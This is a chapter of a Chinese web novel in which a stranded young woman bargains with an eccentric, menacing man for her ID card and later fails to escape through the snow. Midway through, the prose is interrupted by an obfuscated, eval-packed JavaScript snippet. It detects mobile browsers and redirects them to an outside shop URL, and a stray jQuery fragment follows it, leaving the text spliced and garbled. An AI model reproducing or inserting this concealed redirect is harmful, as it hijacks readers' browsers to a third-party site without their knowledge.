文趣网 > 其他小说 > 疯子行为 > 4. 第 4 章
    “可我不想你离开啊。”陈与椟说。

    虞望禾已经失去所有耐心和心气:“你给我,我不走行了吗?”

    她沮丧得明显,双臂耷拉着,眼睛看着地面,无精打采的。

    陈与椟看了一会儿,忽地支起上半身,伸手勾住人的后颈,把她往自己这边带,逼迫她靠近。

    虞望禾又来了精神,伸手格挡挣扎,陈与椟桎梏她实在轻松,面上丝毫不吃力,淡淡道:“我问你一个问题,答对了,我就还你。”

    虞望禾不可能相信,又要挣扎,陈与椟另一只手将她的刘海撩上去,露出她的眼睛,强行逼她与自己对视:“你最好别动,我耐心也是有限度的。”

    虞望禾怒视人,低声:“你踏马别逼我。”

    陈与椟目不转睛,难得眼神沉沉的:“弱者没有资格谈条件。”

    这是真的,尤其虞望禾这种天生跟幸福,好事犯冲的人。

    她冷静了点:“谁耐心也不是比你好到哪里去,要问就赶紧踏马的问啊,艹。”

    陈与椟不在乎她是怎样的态度,相反,他心情似乎又好起来了,露出那副佻达的神情:“别总是那么着急,宝贝,从刚才到现在,你发现我的弱点了吗?”

    虞望禾不知道他为什么这么问,她眉头轻蹙,想着怕是他的什么招,只能认真想了想,这一想,发现对方压根也没什么弱点啊。

    虞望禾没好声气:“我不知道。”

    茶几上的烛光投射进陈与椟的眸子里,他盯住人:“不,你得知道。”

    这些事情跟她要身份证有什么关系?虞望禾心里又急又烦:“我不知道。”

    “不,你必须知道,”陈与椟目光在面前人的脸蛋上打转,“再认真想想,我不给你身份证的情况下,你要采取什么措施获得。”

    瞧着这阵仗,显然虞望禾不说出个所以然来,神经病根本不打算放过。

    也对,他脑壳不正常,不能用正常人的思维去解读他。

    既然如此,虞望禾没有办法,只能妥协般,尽量让自己平静下来,开始闷头想,寻找所谓的答案。

    如果今晚,她必须要得到身份证,从沙发上下来,来到这个男人旁边。

    她站着,神经病躺着,她去伸手抢夺,对方抛向另一只手,身形高大,力量凶悍,无论怎么强抢,她都无法得到身份证。

    那要怎么做呢?削弱他的力量。

    削弱他的力量,让自己占到优势。

    如何让自己占到优势呢?

    身体健康情况,力气大小,环境优势,哪一样她都不占。

    被动无法解决问题。

    她要主动出击……是的,主动出击,利用工具。

    茶几上有蜡烛!

    虞望禾想到这里,猛地抬头看向疯子,眼睛里似乎有光:“我知道了,在我欺身压向你的时候,可以背过手夺走蜡烛放到你脸前,逼使你把东西给我。”

    陈与椟眼睛一错不错地看着人:“很棒,但是还不够,你要狠,直接倾斜蜡烛,把里面兜着的烛液倒在我眼睛上,那种痛感就算是我这样的体格男人,也要愣神几秒钟,大脑释放痛感,手会条件反射的松了力道。”

    没说完的话,虞望禾已经知道了,那不仅仅是得到身份证这么简单,就算是要逃跑,也给了她可乘之机和时间。

    陈与椟手指从跟前的人鬓角缓缓沿着轮廓往下摩挲,直至虞望禾的下巴处停下。

    他抬起她小巧漂亮的下巴:“你就是太善良了啊,望禾,所以你在痛苦,总是得不到想要的东西。”

    虞望禾现在对这个疯男人有所改观,她把捏住自己下巴的手拍开:“善良有什么不好。”

    说着她后退一步,腾出两人的距离,伸出手,“遑论你还是救了我的命,不到万不得已的时候,我不会这样做。”

    陈与椟将身份证抛过去,很愉悦:“你是爱上我了吗?不舍得对我动手。”

    “做梦去吧。”虞望禾得到想要的东西,折身返回自己的沙发睡下,“我困了,谢谢。”

    陈与椟吹灭蜡烛,屋内陷入黑暗,也躺了回去,枕着手臂:“你明天天一亮就会走吗?”

    虞望禾小心揣好身份证:“天不亮我就走。”

    “真遗憾,在你走之前,我可以问你一些问题吗?”死疯子又在装礼貌。

    虞望禾心里腹诽了一句,表面上难得语气还算温和:“问吧。”

    “你身上的伤痕怎么回事?”陈与椟语气里没有怜悯,“小混混打的?还是你的父母?你报复回去了吗?”

    虞望禾没有回答是谁打的,她只道:“报复回去了,揍得他们鼻青脸肿。”

    事实上,背上四肢上,各种留下的旧伤痕新伤痕,几乎都是虞家那伙子人干的。

    “啊,你真棒,需要我给你鼓掌吗?”陈与椟。

    虞望禾双眼皮沉重,但脑子还在像匹野马一样狂奔,重复循环地闪过一些画面,且无法控制。

    她被折磨更加疲惫,没有继续这个话题:“不用了,谢谢,也许我可以问问你吗?”

    陈与椟哼了几个音节:“那我太高兴了。”

    虞望禾在黑暗里睁眼:“大叔,你今年几岁了?”

    陈与椟笑起来,故意憋住笑发出的那种声音。

    虞望禾本就故意呛人,对方识破了她也不尴尬。

    陈与椟正色些,当然语气还是很浪:“你不能叫我大叔,越辈了,可以叫我哥哥。”

    他避而不谈,虞望禾说:“你这样就没有意思了。”

    陈与椟目光投向窗外:“我会告诉你的,连同我的名字,但不是现在。”

    虞望禾也不怎么感兴趣,不说话了。

    陈与椟却有话要说:“你是被人追杀掉落河流来到这里的,还是离家出走不小心摔下河,亦或者……不想活了?”

    虞望禾说:“被人追杀。”

    “那你是范了什么天条,才至于沦落到这个地步?”陈与椟说,“是亲了人家男朋友了吗?”

    “差不多吧。”虞望禾面无表情地瞎扯。

    陈与椟闭上眼睛:“如果你亲我的话,我只会将你当祖宗供起来呢,那些人太不懂事了。”

    虞望禾嫌弃地瘪了下嘴。

    “好了,该睡觉了,”陈与椟在黑暗中讲,“晚安,小朋友。”

    虞望禾不吭声,不想回应。

    “希望明天你走的时候,可以跟我告个别。”陈与椟说。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789031|210298||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    虞望禾这才说话:“我会的。”

    当然,第二天她走的时候,没有跟疯子道别。

    天刚翻出鱼肚白,勉强能将眼前的事物环境可视得见,几乎一夜未睡的虞望禾顶着要痛得爆炸的头,支棱着从沙发上起来。

    她把目光投向旁边另一张沙发上的人,就盖着床薄毛毯,完全不带冷的,手臂枕在脑后,和睡前的姿势一样。

    虽然闭着眼睛,但也不知道到底睡着还是醒着的,怪让人在意。

    虞望禾不敢打草惊蛇,全程屏住呼吸,轻手轻脚地下地往门口走。

    她不敢回头,期间也许出了汗,总之寒冬天气里,她察觉出了热。

    门打开得轻易,只是刚走出去一步,待看清外面的样子,虞望禾驻足,一时没走。

    白茫茫的积雪怕是有半人高,放眼望去,荒野一片,看不到任何一户人家,也看不清任何一条路,除了不远处的河流在冰下还在流动有点声音,其他的,可以说,就是一张白纸,什么都看不清,又似乎什么都没有。

    再者,这来到外面才知道,温度相较前几天,定是又骤降好几度。

    待在屋子还好,出来,以她现在身上简单的毛衣和长裤,别说走出去,待个几分钟,都冷得牙关打颤,遑论满天鹅毛一般大小飞快下落的雪。

    虞望禾出走的决心就这样随着直观天气的恶劣有所退缩,但她不能待在这里,谁她都不相信,她只信自己和姐姐。

    思及此,虞望禾抬起房内的最后一只脚,带上门向着前面走进漫天雪雾里。

    在她走后,沙发上的人睁开眼。

    陈与椟打了个哈欠,搓了搓自己的黑发,懒洋洋地光脚下地,径直去厨房,给自己弄了杯咖啡端着。

    他小口品尝,走到窗边,把窗台往上一掀,用木棍支着。

    雪混着寒风吹进屋子,他目光向虞望禾看去。

    地面雪太深,她每一步都走得艰难,这么一会儿,人还能看得见背影。

    陈与椟盯着看,不说话,偶尔低头享用一口咖啡。

    在这杯咖啡喝到一半时,前方那个背影晕倒在雪里。

    陈与椟没立马动,他抬起咖啡杯一饮而尽,折返回厨房,将杯子洗干净,又接着丢两片吐司在烤箱里,这才踱步向外面走去。

    于是虞望禾清醒过来时,看到的就是不怎么陌生的房梁了。

    她若有所感地扭头看去,沙发上的男人抬手冲她打招呼:“嗨,我们真有缘,又见面了呢。”

    虞望禾将头扭过来,看着前面。

    “哎,别难过啊,”陈与椟将热好的牛奶推过去,“是天气不让你走,不是我。”

    虞望禾倒是没像他说的那样难过,她只是有些累:“这雪要下几天?”

    陈与椟咀嚼着吐司,说得含糊:“不知道呢,反正我高兴。”

    瞧着女孩子的侧脸,似乎还是忧郁闷闷不乐的,陈与椟不禁问:“你这么急着回去?”

    他心情好得出奇,“我很乐意你留下来,我可以分享给你我这里拥有的东西一半,一半都可以赠予你使用哦,多好。”

    “留下来……”虞望禾念着这几个字,半晌,她抬眼看向疯子,“什么条件?”